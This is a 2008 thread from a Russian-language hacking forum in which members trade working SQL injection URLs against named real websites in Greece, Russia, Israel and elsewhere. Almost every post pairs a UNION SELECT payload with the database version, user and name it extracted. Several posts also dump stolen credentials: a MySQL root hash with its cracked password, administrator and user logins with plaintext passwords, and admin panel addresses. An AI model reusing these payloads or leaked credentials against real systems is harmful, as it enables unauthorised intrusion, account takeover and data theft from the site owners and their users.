10.01.2008, 00:21
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами:
9799586
Репутация:
1385
|
|
www.api.org.il
http://www.api.org.il/Съезды-c--22+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,concat (user,0x3a,password),6,7,8,9+from+mysql.user+limit +0,1/*.html
5.0.32-Debian_7etch3-log
root:*1611455133BEB42BD070C44CBDCDCAEDB73E9156: l1n22q
http://www.api.org.il/admin/index.php
есть только пасс от рута базы ( l1n22q) ... логин подобрать с админке не могу ... авось и пасс другой ((
есть таблы (users,adm_users) итд ... но в них не попасть или я сильно туплю...
|
|
|
10.01.2008, 01:17
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
http://www.sieve.gr/gr/news.php?id=-142+union+select+1,2,concat_ws(0x2f,version(),user (),database()),4/*
4.1.22-standard/sieve@localhost/sieve_gr
Есть таблица users
Колонки в ней не подобрал
-----------------------------------------------------------------------
http://www.x-plorer.gr/news.php?id=-8+union+select+1,2,concat(user,char(58),password), 4,5+from+mysql.user/*
root:*046A241131BA9D25793B8012B8DCA213827E3DB9
Все таблицы
http://www.x-plorer.gr/news.php?id=-8+union+select+table_name,2,3,4,5+from+information _schema.tables/*
Все колонки
http://www.x-plorer.gr/news.php?id=-8+union+select+column_name,2,3,4,5+from+informatio n_schema.columns/*
Там есть еще и phpBB форум))
|
|
|
|
10.01.2008, 02:03
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
http://www.jetskiworld.gr/news.php?id=-626+union+select+1,2,3,4,concat_ws(0x2f,version(), user(),database()),6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50, 51,52,53,54,55,56,57/*
4.1.20-log/331329_jetski@172.16.12.165/331329_jetskiworld
-----------------------------------------------------------------------
http://www.sedici.gr/news.php?id=-2+union+select+1,2,3,4,5,6,concat_ws(0x2f,version( ),user(),database()),8,9/*
4.1.19-standard-log/sedicig@localhost/sedicig_db
Включите колонки погромче (на сайте играет музыка как раз для взлома) и брутьте таблицы и колонки))
-----------------------------------------------------------------------
http://www.naserron.gr/news.php?id=-197+union+select+1,2,concat_ws(0x2f,version(),user (),database()),4,5/*&sub=show
5.0.33-log/naserron@localhost/naserron
Все таблицы:
http://www.naserron.gr/news.php?id=-197+union+select+1,2,3,table_name,5+from+informati on_schema.tables/*&sub=show
Все колонки
http://www.naserron.gr/news.php?id=-197+union+select+1,2,3,column_name,5+from+informat ion_schema.columns/*&sub=show
-----------------------------------------------------------------------
http://www.rea.org.gr/gr/news.php?id=-72+union+select+1,concat_ws(0x2f,version(),user(), database()),3,4,5/*
4.1.22-standard/reaorg@localhost/reaorg_1
Есть таблица users
Колонки не подобрал
-----------------------------------------------------------------------
http://www.omase.gr/gr/news.php?id=-12+union+select+1,2,3,4,5+from+users/*
-----------------------------------------------------------------------
http://www.todaneio.gr/news.php?id=-181+union+select+1,2,3,CONVERT(concat_ws(0x3a,vers ion(),user(),database())+using+latin1),5,6,7,8,9,1 0,11,12,13,14/*
4.1.14:daneio@localhost:todaneio
|
|
|
|
10.01.2008, 02:27
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
http://www.alpharent.gr/gr/news.php?id=17+union+select+1,2,3,4+from+users/*
-----------------------------------------------------------------------
http://www.alogoskoufis.gr/news.php?version=gr&id=-184+union+select+1,concat_ws(0x2f,version(),user() ,database()),3/*&view=more
4.1.22-standard/alogos_user@localhost/alogos_db
-----------------------------------------------------------------------
http://www.silvestridis.gr/news.php?id=-1+union+select+1,%20%20concat_ws(0x2f,version(),us er(),database()),3,4,5/*
4.1.22-standard/silvestr_yiannos@localhost/silvestr_silvestridis
Есть таблица users
|
|
|
|
10.01.2008, 03:42
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами:
9650336
Репутация:
662
|
|
http://www.davinciinstitute.com/page.php?ID=299'+union+select+1,2,3,concat_ws(0x2f ,version(),user(),database()),5,6+from+inform ation_schema.columns/*
5.0.42/davinci@localhost/davinciinstitute_com
--------------------------------------------------------------------
http://www.bigrap.ru/index.php?mod=multimedia&action=music&album_id=-12+union+select+1,null,concat_ws(0x3a,version(),da tabase(),user()),4,5,6,concat_ws(0x3a,name,pass),8 ,9,10,11+from+sla mchik_rap.users+limit+3,7/*
Login:saniol pass:dancer2j
5.0.45-community:slamchik_rap:slamchik_slam@localhost
|
|
|
|
10.01.2008, 04:15
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами:
9650336
Репутация:
662
|
|
http://www.newera.com.na/page.php?id=25+union+select+1,2,concat_ws(0x3a,ver sion(),user(),database()),4,5,6/*
|
|
|
|
10.01.2008, 17:18
|
|
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
С нами:
10065986
Репутация:
785
|
|
spacetravel.tomsk.ru
Код HTML:
http://spacetravel.tomsk.ru/index.html?div=2forum&topic=-194+union+select+0,1,2,3,4,5,6/*&start=0
Код HTML:
http://spacetravel.tomsk.ru/index.html?div=2forum&topic=-194+union+select+0,1,2,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),4,5,6/*&start=0
USER:spacetravelwww@localhost
VERSION:4.0.26
DATABASE:spacetravelwww
|
|
|
|
10.01.2008, 21:35
|
|
Новичок
Регистрация: 10.01.2008
Сообщений: 15
С нами:
9649261
Репутация:
11
|
|
Код:
http://askort.com/?item_id=1+and+2=0+union+select+1,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),3,4/*
USER : maxivanov_askort@localhost
VERSION : 4.1.11
DATABASE : maxivanov_askort |
|
|
|
10.01.2008, 21:47
|
|
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
С нами:
10065986
Репутация:
785
|
|
bravotour.ru
Код HTML:
http://www.bravotour.ru/cont.php?id=-186+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),3/*
USER:bravotou_bravo@localhost
VERSION:4.1.22-standard-log
DATABASE: bravotou_bravobase
rsci.ru
Код HTML:
http://www.rsci.ru/smi/?id=10204+union+select+0,concat(USER(),0x3a,VERSION(),0x3a,DATABASE())/*
USER:rsci@zvm8.host.ru
VERSION:4.0.27-log
DATABASE:rsci
Код HTML:
http://www.rsci.ru/smi/?id=10204+union+select+0,concat(id,0x3a,name,0x3a,passwd)+from+users+limit+2,2/*
10:administrator:.hbq
2:Юрий:.hbq
Код HTML:
http://www.rsci.ru/admin/
|
|
|
|
10.01.2008, 22:43
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами:
9780227
Репутация:
1423
|
|
http://mercury-sochi.ru/news/index.php?type=rn&newsid=-1+union+select+1,2,3,4,5,concat_ws(0x2F,version(), database(),user()),7,8,9,10/*
4.1.22/merc16/merc16@localhost
----------------------------------------------------------------------------
http://www.home-collection.ru/catalog.php?id=-1+union+select+1,2,concat_ws(0x2F,version(),databa se(),user())/*
5.0.45-log/u12151/u12151@10.10.223.210
----------------------------------------------------------------------------
miheeff.net
http://miheeff.net/news.php?news_id=-1+union+select+concat_ws(0x2F,version(),database() ,user()),2,3/*
5.0.33/db5179d/us5179d@localhost
http://miheeff.net/news.php?news_id=-1+union+select+concat_ws(0x2F,login,pass),2,3+from +logins+limit+2,1/*
логин/пароль
alia/zzzxxx
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
